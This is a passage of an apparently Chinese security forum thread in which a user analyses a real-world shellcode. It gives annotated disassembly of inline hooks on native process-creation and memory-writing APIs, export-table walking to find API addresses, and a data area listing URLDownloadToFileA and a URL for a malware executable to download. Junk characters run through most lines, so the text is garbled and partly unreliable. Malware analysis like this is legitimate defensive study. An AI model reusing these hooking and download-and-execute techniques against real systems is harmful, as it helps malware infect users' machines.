00407167    8BFC            [color=#0000ff]mov[/color]     [color=#808000]edi[/color], [color=#808000]esp[/color]S+vE'?w(t#j!Pn^"~gMD
00407169    8D47 10         [color=#0000ff]lea[/color]     [color=#808000]eax[/color], [color=#ff0000]dword[/color] [color=#ff0000]ptr[/color] [[color=#808000]edi[/color]+10]e"dis:F)[S
0040716C    51              [color=#0000ff]push[/color]    [color=#808000]ecx[/color]S^vD;\oB
0040716D    57              [color=#0000ff]push[/color]    [color=#808000]edi[/color]
v#^0Z5TZM 0040716E    50              [color=#0000ff]push[/color]    [color=#808000]eax[/color]jYE6M0wayO+`
0040716F    51              [color=#0000ff]push[/color]    [color=#808000]ecx[/color]
"H Vx/nITzS 00407170    51              [color=#0000ff]push[/color]    [color=#808000]ecx[/color]z0? SA3mP
00407171    51              [color=#0000ff]push[/color]    [color=#808000]ecx[/color]/n:r{:nv
00407172    51              [color=#0000ff]push[/color]    [color=#808000]ecx[/color]XKt$?7]wb
00407173    51              [color=#0000ff]push[/color]    [color=#808000]ecx[/color]
j3dqz5No-VU6h 00407174    51              [color=#0000ff]push[/color]    [color=#808000]ecx[/color]wAo _Y
00407175    51              [color=#0000ff]push[/color]    [color=#808000]ecx[/color]
&f+q'hwB 00407176    8D96 33010000   [color=#0000ff]lea[/color]     [color=#808000]edx[/color], [color=#ff0000]dword[/color] [color=#ff0000]ptr[/color] [[color=#808000]esi[/color]+133]                         [color=#008000]; 本地地址orz.exe[/color]
\eQwT 0040717C    52              [color=#0000ff]push[/color]    [color=#808000]edx[/color]
+fd tOzb4u? 0040717D    51              [color=#0000ff]push[/color]    [color=#808000]ecx[/color]L N\qpp X
0040717E    FF56 0C         [color=#0000ff]call[/color]    [color=#ff0000]dword[/color] [color=#ff0000]ptr[/color] [[color=#808000]esi[/color]+C]                                [color=#008000]; CreateProcessInternalA[/color]V2Z#eA0s4_l$Z
00407181    81C4 54020000   [color=#0000ff]add[/color]     [color=#808000]esp[/color], 254xcaf&@kK
00407187    61              [color=#0000ff]popad[/color]
@+zR/sxw P,D 00407188    FF71 EC         [color=#0000ff]push[/color]    [color=#ff0000]dword[/color] [color=#ff0000]ptr[/color] [[color=#808000]ecx[/color]-14]                               [color=#008000]; 这里应该会跳回原来溢出的位置,让程序正常运行下去[/color]
2UK~(Z$n'Z 0040718B    C2 0400         [color=#0000ff]retn[/color]    4[*Gjr C.y-_w7D
$z'HS g6n V
下面是前面的代码调用到的子函数及数据。
n{-[$wT5H'K.S
(j'H$P#Ww/zZ 首先是摸拟[color=#0000ff]call[/color]的函数
U qJiJ;i#fU
s,` l2WM1R }h-}5Ja 0040718E    8B56 30         [color=#0000ff]mov[/color]     [color=#808000]edx[/color], [color=#ff0000]dword[/color] [color=#ff0000]ptr[/color] [[color=#808000]esi[/color]+30]                          [color=#008000]; (14)[/color]
)B o(E:? c/ttJ3G 00407191    41              [color=#0000ff]inc[/color]     [color=#808000]ecx[/color]4HoW3h(c,j,Y-qK5b
00407192    5B              [color=#0000ff]pop[/color]     [color=#808000]ebx[/color]
]uw'?(FIo 00407193    52              [color=#0000ff]push[/color]    [color=#808000]edx[/color]                                             
U{2U6n(n2L@Q `-p 00407194    03E1            [color=#0000ff]add[/color]     [color=#808000]esp[/color], [color=#808000]ecx[/color]
{dJ9O(\!r3^\/{$X 00407196    03E1            [color=#0000ff]add[/color]     [color=#808000]esp[/color], [color=#808000]ecx[/color]
.y/^9^?~"r` 00407198    03E1            [color=#0000ff]add[/color]     [color=#808000]esp[/color], [color=#808000]ecx[/color]
'AGC s5v c8sz 0040719A    03E1            [color=#0000ff]add[/color]     [color=#808000]esp[/color], [color=#808000]ecx[/color]5r3p ~:_ n5l
0040719C    83EC 04         [color=#0000ff]sub[/color]     [color=#808000]esp[/color], 4
n e5FNMQP'j W 0040719F    5A              [color=#0000ff]pop[/color]     [color=#808000]edx[/color]$f2l#G9ji8aG
004071A0    53              [color=#0000ff]push[/color]    [color=#808000]ebx[/color]+n6N5xn4D!|nt"G
004071A1    8BDA            [color=#0000ff]mov[/color]     [color=#808000]ebx[/color], [color=#808000]edx[/color]&a0v |([$XJz1x%e
004071A3  ^ E2 F7           loopd   [color=#ff0000]short[/color] 0040719C
J K {}L"N)Z(P&S gM 004071A5    52              [color=#0000ff]push[/color]    [color=#808000]edx[/color]                                              [color=#008000]; 返回地址入栈,这里刚好是一个retn命令[/color]
Lo @8t|!h X9UF z4h8z 004071A6    FFE0            [color=#0000ff]jmp[/color]     [color=#808000]eax[/color]                                              [color=#008000]; jmp进API函数开头[/color]
]c;r7Zs3EZ +H/KS'cDkqYFY6k
接着是中间一个为了重定位所做的回[color=#0000ff]call[/color]:
j?1{thV.p,JQ $c1Y8w$P#q6eu
004071A8    E8 1BFFFFFF     [color=#0000ff]call[/color]    004070C8                                         [color=#008000]; (19)再一次为了重定位而跳回,这里必须F7[/color]
N V;kati sE5n MC2K o&m
再接着是被拷贝的NATIVE API原始代码:
lNrc/U9Z !MS(A-Q;H#H U
004071AD    6A 29           [color=#0000ff]push[/color]    29                                               [color=#008000]; win2000中NtCreateProcess[/color]
O]6]#nq uM?p 004071AF    58              [color=#0000ff]pop[/color]     [color=#808000]eax[/color]/p x3IKza5M
004071B0    36:8D5424 04    [color=#0000ff]lea[/color]     [color=#808000]edx[/color], [color=#ff0000]dword[/color] [color=#ff0000]ptr[/color] [[color=#808000]esp[/color]+4]g8V7u v)QK)aw tL"}_
004071B5    CD 2E           [color=#0000ff]int[/color]     2E'Qc hoX
004071B7    C2 2000         [color=#0000ff]retn[/color]    20#\9^!x]X7` W)fy

Q7O&ywmhhD 004071BA    6A 30           [color=#0000ff]push[/color]    30                                               [color=#008000]; XP中ZwCreateProcessEx[/color]
&i&@!I5J yFY[ [9X 004071BC    58              [color=#0000ff]pop[/color]     [color=#808000]eax[/color]
YU ~ [ JT oW 004071BD    BA 0003FE7F     [color=#0000ff]mov[/color]     [color=#808000]edx[/color], 7FFE0300
c\'fy;Cy#? 004071C2    FF12            [color=#0000ff]call[/color]    [color=#ff0000]dword[/color] [color=#ff0000]ptr[/color] [[color=#808000]edx[/color]]5s_~ _1@$Fp tHX
004071C4    C2 2000         [color=#0000ff]retn[/color]    20
/n0wwx/EX,V^"m Z
I.g`7c#J8}-C p'G 004071C7    6A 32           [color=#0000ff]push[/color]    32                                               [color=#008000]; win2003中ZwCreateProcessEx[/color]
K"GP9Bp#gy5RW 004071C9    58              [color=#0000ff]pop[/color]     [color=#808000]eax[/color]v[hc)Mo+B
004071CA    BA 0003FE7F     [color=#0000ff]mov[/color]     [color=#808000]edx[/color], 7FFE03008Ml,YW6CdeE
004071CF    FF12            [color=#0000ff]call[/color]    [color=#ff0000]dword[/color] [color=#ff0000]ptr[/color] [[color=#808000]edx[/color]]2szo ca7o+b [
004071D1    C2 2400         [color=#0000ff]retn[/color]    24
/B.u"rl2mC7_ GaLA&]P6i){
004071D4    B8 F0000000     [color=#0000ff]mov[/color]     [color=#808000]eax[/color], 0F0                                         [color=#008000]; win2000中ZwWriteVirtualMemory[/color]
wi U*u5L H"E&Sp 004071D9    36:8D5424 04    [color=#0000ff]lea[/color]     [color=#808000]edx[/color], [color=#ff0000]dword[/color] [color=#ff0000]ptr[/color] [[color=#808000]esp[/color]+4]
6M!@u8_4F\M? 004071DE    CD 2E           [color=#0000ff]int[/color]     2E6t&g] U+M a D+[2l
004071E0    C2 1400         [color=#0000ff]retn[/color]    14 [3NP6Hg9F5s3H;C'W'O

4X o%]'h(@1I 004071E3    B8 15010000     [color=#0000ff]mov[/color]     [color=#808000]eax[/color], 115                                         [color=#008000]; XP中ZwWriteVirtualMemory[/color]_ j8{2~9UaS6i B
004071E8    EB 05           [color=#0000ff]jmp[/color]     [color=#ff0000]short[/color] 004071EF/M6]L,B+e k
004071EA    B8 1F010000     [color=#0000ff]mov[/color]     [color=#808000]eax[/color], 11F                                         [color=#008000]; win2003中ZwWriteVirtualMemory,与XP的情况一部分代码共用[/color]
!Y3Rhh1d_,A6SbY9] 004071EF    BA 0003FE7F     [color=#0000ff]mov[/color]     [color=#808000]edx[/color], 7FFE0300 Bw N:v%z
004071F4    FF12            [color=#0000ff]call[/color]    [color=#ff0000]dword[/color] [color=#ff0000]ptr[/color] [[color=#808000]edx[/color]]
f+c eK-B\ 004071F6    C2 1400         [color=#0000ff]retn[/color]    14
1v5w*m ~a:jQs V2N(h/|$q/yN/YI/L
接下来是用VirtualProtect改API函数入口的页保护属性的子函数)Uto gu~
I/U.ET%r/rB"R'X
004071F9    52              [color=#0000ff]push[/color]    [color=#808000]edx[/color]                                             
k0lh/T#M.@2V;`eB 004071FA    54              [color=#0000ff]push[/color]    [color=#808000]esp[/color]
/QM2L0Ad~/P)J-eJ 004071FB    6A 04           [color=#0000ff]push[/color]    4
AP@6}^{;sg 004071FD    6A 20           [color=#0000ff]push[/color]    20@7E.q9g+BrsOU.p:`
004071FF    57              [color=#0000ff]push[/color]    [color=#808000]edi[/color]"vZ*pZ8G(B~U
00407200    FF56 14         [color=#0000ff]call[/color]    [color=#ff0000]dword[/color] [color=#ff0000]ptr[/color] [[color=#808000]esi[/color]+14]                               [color=#008000]; ViturlProtect,修改函数前面0x20字节为可读可写[/color]
4Z6O#v'c6SI%|fm 00407203    5A              [color=#0000ff]pop[/color]     [color=#808000]edx[/color]
C"] FJ] F|m 00407204    C3              [color=#0000ff]retn[/color]
6n r(L)TxF1M*PQ y i!L&mu/~FB,B
接下来是遍历kernel32.dll的输入表找NATIVE API地址的函数,这些都是通用函数,shellcode用得比较多,就懒于再注释了。
d*W-HbN{f!D VYl:Fe
00407205    51              [color=#0000ff]push[/color]    [color=#808000]ecx[/color]|$W(Y `Fi i-my+b
00407206    8B45 3C         [color=#0000ff]mov[/color]     [color=#808000]eax[/color], [color=#ff0000]dword[/color] [color=#ff0000]ptr[/color] [[color=#808000]ebp[/color]+3C]
1l;].pxS XS"Q 00407209    45              [color=#0000ff]inc[/color]     [color=#808000]ebp[/color]
-~ ~{hI.@ 0040720A    8B5C28 7F       [color=#0000ff]mov[/color]     [color=#808000]ebx[/color], [color=#ff0000]dword[/color] [color=#ff0000]ptr[/color] [[color=#808000]eax[/color]+[color=#808000]ebp[/color]+7F]r_y\,Qn5`XG-j
0040720E    4D              [color=#0000ff]dec[/color]     [color=#808000]ebp[/color]k_.O/B~$^ N B(w&n"W*Ad6A
0040720F    03DD            [color=#0000ff]add[/color]     [color=#808000]ebx[/color], [color=#808000]ebp[/color]"tN:|(X:VD(j5x p
00407211    8B13            [color=#0000ff]mov[/color]     [color=#808000]edx[/color], [color=#ff0000]dword[/color] [color=#ff0000]ptr[/color] [[color=#808000]ebx[/color]]%Z%F\-GB.fv%b
00407213    03D5            [color=#0000ff]add[/color]     [color=#808000]edx[/color], [color=#808000]ebp[/color]mB;V T {0F0J6e?
00407215    33C9            [color=#0000ff]xor[/color]     [color=#808000]ecx[/color], [color=#808000]ecx[/color]
{q?.t ip rO 00407217    49              [color=#0000ff]dec[/color]     [color=#808000]ecx[/color]
0\%xw]*YE 00407218    41              [color=#0000ff]inc[/color]     [color=#808000]ecx[/color]
\%Kv:MFYi5H:I-hY 00407219    8B048A          [color=#0000ff]mov[/color]     [color=#808000]eax[/color], [color=#ff0000]dword[/color] [color=#ff0000]ptr[/color] [[color=#808000]edx[/color]+[color=#808000]ecx[/color]*4]
v%R*I#Q Z#n 0040721C    8D4428 02       [color=#0000ff]lea[/color]     [color=#808000]eax[/color], [color=#ff0000]dword[/color] [color=#ff0000]ptr[/color] [[color=#808000]eax[/color]+[color=#808000]ebp[/color]+2]&~'~5L c:[5A
00407220    60              [color=#0000ff]pushad[/color]
!y4y c'DH+r:j 00407221    33C9            [color=#0000ff]xor[/color]     [color=#808000]ecx[/color], [color=#808000]ecx[/color]
6q7T`&`:[] Jk Y(EJ 00407223    0FBE10          [color=#0000ff]movsx[/color]   [color=#808000]edx[/color], [color=#ff0000]byte[/color] [color=#ff0000]ptr[/color] [[color=#808000]eax[/color]]
Wh)_$P!F4V$L 00407226    3AD6            [color=#0000ff]cmp[/color]     [color=#808000]dl[/color], [color=#808000]dh[/color]
d%v?RS[i,^eF'J 00407228    74 08           [color=#0000ff]je[/color]      [color=#ff0000]short[/color] 00407232?}s}&Y%AZd y
0040722A    C1C9 07         [color=#0000ff]ror[/color]     [color=#808000]ecx[/color], 7
CZ m;v,X_ 0040722D    03CA            [color=#0000ff]add[/color]     [color=#808000]ecx[/color], [color=#808000]edx[/color]
^s0b4fbT8s 0040722F    40              [color=#0000ff]inc[/color]     [color=#808000]eax[/color]0m f)AZ-y@/t
00407230  ^ EB F1           [color=#0000ff]jmp[/color]     [color=#ff0000]short[/color] 00407223
5O.w4Fa yKou P 00407232    390F            [color=#0000ff]cmp[/color]     [color=#ff0000]dword[/color] [color=#ff0000]ptr[/color] [[color=#808000]edi[/color]], [color=#808000]ecx[/color] dN!D \VI
00407234    61              [color=#0000ff]popad[/color]\+p5YTn6f K
00407235  ^ 75 E1           [color=#0000ff]jnz[/color]     [color=#ff0000]short[/color] 00407218
sd)N}y!O 00407237    8B43 10         [color=#0000ff]mov[/color]     [color=#808000]eax[/color], [color=#ff0000]dword[/color] [color=#ff0000]ptr[/color] [[color=#808000]ebx[/color]+10]
S;ekF%[K:d,L9p 0040723A    03C5            [color=#0000ff]add[/color]     [color=#808000]eax[/color], [color=#808000]ebp[/color]5X%S_!rp.C8p6W:?
0040723C    8B0488          [color=#0000ff]mov[/color]     [color=#808000]eax[/color], [color=#ff0000]dword[/color] [color=#ff0000]ptr[/color] [[color=#808000]eax[/color]+[color=#808000]ecx[/color]*4]
+g6[ULOw 0040723F    AB              [color=#0000ff]stos[/color]    [color=#ff0000]dword[/color] [color=#ff0000]ptr[/color] [color=#808000]es[/color]:[[color=#808000]edi[/color]]
RN$N2Q(s0mlBt 00407240    59              [color=#0000ff]pop[/color]     [color=#808000]ecx[/color],q{+eH$[{ U_9t
00407241    C3              [color=#0000ff]retn[/color]
Ed;e?6t tzfF
FtQR6^F%S q 代码内容最后是遍历PE文件输出表得到API函数地址的子函数,同样是通用的模块,也懒于第N次注释了:zC*gy;^!}e:w2I

fvW q{ T'iU;q bV 00407242    51              [color=#0000ff]push[/color]    [color=#808000]ecx[/color]6c&k,{+mJ"saI
00407243    56              [color=#0000ff]push[/color]    [color=#808000]esi[/color]{yQn"t
00407244    8B75 3C         [color=#0000ff]mov[/color]     [color=#808000]esi[/color], [color=#ff0000]dword[/color] [color=#ff0000]ptr[/color] [[color=#808000]ebp[/color]+3C]
C q aPw a 00407247    8B742E 78       [color=#0000ff]mov[/color]     [color=#808000]esi[/color], [color=#ff0000]dword[/color] [color=#ff0000]ptr[/color] [[color=#808000]esi[/color]+[color=#808000]ebp[/color]+78]
@ _!K g |k bb 0040724B    03F5            [color=#0000ff]add[/color]     [color=#808000]esi[/color], [color=#808000]ebp[/color]9kQ9n0e&t G
0040724D    56              [color=#0000ff]push[/color]    [color=#808000]esi[/color]
2a+{{Y X 0040724E    8B76 20         [color=#0000ff]mov[/color]     [color=#808000]esi[/color], [color=#ff0000]dword[/color] [color=#ff0000]ptr[/color] [[color=#808000]esi[/color]+20]L'k*Rr?#E8`
00407251    03F5            [color=#0000ff]add[/color]     [color=#808000]esi[/color], [color=#808000]ebp[/color]3k\%vm'`#P3\4lC
00407253    33C9            [color=#0000ff]xor[/color]     [color=#808000]ecx[/color], [color=#808000]ecx[/color]
5V8f C d A(Q!U)c 00407255    49              [color=#0000ff]dec[/color]     [color=#808000]ecx[/color]-pf#lF+OI3|/U
00407256    41              [color=#0000ff]inc[/color]     [color=#808000]ecx[/color]zK$q]G` Jt!jE
00407257    AD              [color=#0000ff]lods[/color]    [color=#ff0000]dword[/color] [color=#ff0000]ptr[/color] [[color=#808000]esi[/color]](G d0M$L,jy
00407258    03C5            [color=#0000ff]add[/color]     [color=#808000]eax[/color], [color=#808000]ebp[/color]
_hJ [$o ea7e LC{ 0040725A    33DB            [color=#0000ff]xor[/color]     [color=#808000]ebx[/color], [color=#808000]ebx[/color]9N o;Xg#`F
0040725C    0FBE10          [color=#0000ff]movsx[/color]   [color=#808000]edx[/color], [color=#ff0000]byte[/color] [color=#ff0000]ptr[/color] [[color=#808000]eax[/color]]bfibX dx+\
0040725F    3AD6            [color=#0000ff]cmp[/color]     [color=#808000]dl[/color], [color=#808000]dh[/color]~h.y^LD)?
00407261    74 08           [color=#0000ff]je[/color]      [color=#ff0000]short[/color] 0040726B
l0{)^gf?&@/K;j 00407263    C1CB 07         [color=#0000ff]ror[/color]     [color=#808000]ebx[/color], 7"O;}Ku ?n_O8[
00407266    03DA            [color=#0000ff]add[/color]     [color=#808000]ebx[/color], [color=#808000]edx[/color].PT"x\(F'i`q#E
00407268    40              [color=#0000ff]inc[/color]     [color=#808000]eax[/color]Z_DE-{SA_@
00407269  ^ EB F1           [color=#0000ff]jmp[/color]     [color=#ff0000]short[/color] 0040725C
qELdedw 0040726B    3B1F            [color=#0000ff]cmp[/color]     [color=#808000]ebx[/color], [color=#ff0000]dword[/color] [color=#ff0000]ptr[/color] [[color=#808000]edi[/color]]
0\!h(k.oH 0040726D  ^ 75 E7           [color=#0000ff]jnz[/color]     [color=#ff0000]short[/color] 00407256
%vmP#iN+vKC b 0040726F    5E              [color=#0000ff]pop[/color]     [color=#808000]esi[/color]
z$E,Q&\U 00407270    8B5E 24         [color=#0000ff]mov[/color]     [color=#808000]ebx[/color], [color=#ff0000]dword[/color] [color=#ff0000]ptr[/color] [[color=#808000]esi[/color]+24]
3p eAc3le+A R#T 00407273    03DD            [color=#0000ff]add[/color]     [color=#808000]ebx[/color], [color=#808000]ebp[/color]}6|+?:z@CLqr
00407275    66:8B0C4B       [color=#0000ff]mov[/color]     [color=#808000]cx[/color], [color=#ff0000]word[/color] [color=#ff0000]ptr[/color] [[color=#808000]ebx[/color]+[color=#808000]ecx[/color]*2]
^:XP W(a#Y!^ 00407279    8B5E 1C         [color=#0000ff]mov[/color]     [color=#808000]ebx[/color], [color=#ff0000]dword[/color] [color=#ff0000]ptr[/color] [[color=#808000]esi[/color]+1C]
&n2_`m(zm(SN)S 0040727C    03DD            [color=#0000ff]add[/color]     [color=#808000]ebx[/color], [color=#808000]ebp[/color]
K lQo1^0\:p 0040727E    8B048B          [color=#0000ff]mov[/color]     [color=#808000]eax[/color], [color=#ff0000]dword[/color] [color=#ff0000]ptr[/color] [[color=#808000]ebx[/color]+[color=#808000]ecx[/color]*4]
5XB/A3R6f+a 00407281    03C5            [color=#0000ff]add[/color]     [color=#808000]eax[/color], [color=#808000]ebp[/color]wor4e?"jD5EG
00407283    AB              [color=#0000ff]stos[/color]    [color=#ff0000]dword[/color] [color=#ff0000]ptr[/color] [color=#808000]es[/color]:[[color=#808000]edi[/color]]L&y'?@YQJ@0{ P
00407284    5E              [color=#0000ff]pop[/color]     [color=#808000]esi[/color]
8Jg0}-eI'?2B 00407285    59              [color=#0000ff]pop[/color]     [color=#808000]ecx[/color]z*kd$Bg(KRM
00407286    C3              [color=#0000ff]retn[/color]|#w3Z3U M,Z zp
00407287    E8 96FDFFFF     [color=#0000ff]call[/color]    00407022                                         [color=#008000]; (7)call回来,这里要F7[/color]
Txqm1ne
$ps i7CYV8S/jN 代码内容在这里结束,后面是数据区,包括保存的API函数的地址(shellcode开始时为加密值,找到API地址后被替换为地址)以及下载的病毒URL,shellcode中屡屡用[[color=#808000]esi[/color]+XX]的方式来访问这部分内容,依照相对偏移依次为:
I [?*G S{/i
U-B3@ekk3]c 0x00 LoadLibraryAU8VJp!_f8v
0x04 GetTempPathAfZB,jh/A\4fEX a5a(R
0x08 DeleteFileA tI^3tFp2q-baE5V
0x0C CreateProcessInternalA
%]_r T0aZ 0x10 ExitThread,
g8r E#c{4f }^ 0x14 VirtualProtect"]eM}.p0t+W
0x18 CreateProcessInternalWMMAH2bEB2n
0x1C CompareFileTimezj&z-a2`
0x20 GetSystemTimeAsFileTime_E[}{X
0x24 ZwCreateProcessEx(win2000时为NtCreateProcess)STI*Yg }
0x28 ZwWriteVirtualMemoryx&? yGj*I
0x2C URLDownloadToFileA
A%[V?!af? 0x30 搜索到的一句可用为[color=#0000ff]retn[/color]的代码地址 m,p1W6c MNd@
0x34 ASCII [color=#ff00ff]"http://www.0x4f.cn/test.exe"[/color]/_'Y)Gck;o

?} p+QCq 至此,该shellcode分析完毕。应该说它是我见到的在实际应用中功能较为齐全的shellcode了,作者的一些构思都是有明显实用目的的倾向的,也看出作者对编写shellcode有一定的经验和能力。
;v``2D })C8e#i n^1i+|+c8D
本篇分析只涉及shellcode所作的动作,对于此漏洞如何被触发并使得shellcode被执行,因能力所限尚未能探究出来。y"S&{ i:A$VbH

~D i+z ~!w:n'_Db] 本人能力有限,这方面只是个菜鸟,以上分析难免有错漏之处,还请大家不吝指正。
2hz3d:R%KGxCj2N"r
HUFXr N;_v&vl update: 刚刚加入了关于win2000和win2003情况下的相关代码注释,这个shellcode因为要对两个NATIVE API进行inline hook,对win2000/XP/2003准备了三套NATIVE API原始代码,在shellcode中通过_PEB.OSMijorVersion进行判断。

tiaoja 发表于 2008-6-3 23:55

看不不错啊 O!RR5~#JU$b
我不懂 啊

页: [1]

Powered by 草根站长网 © 2007-2008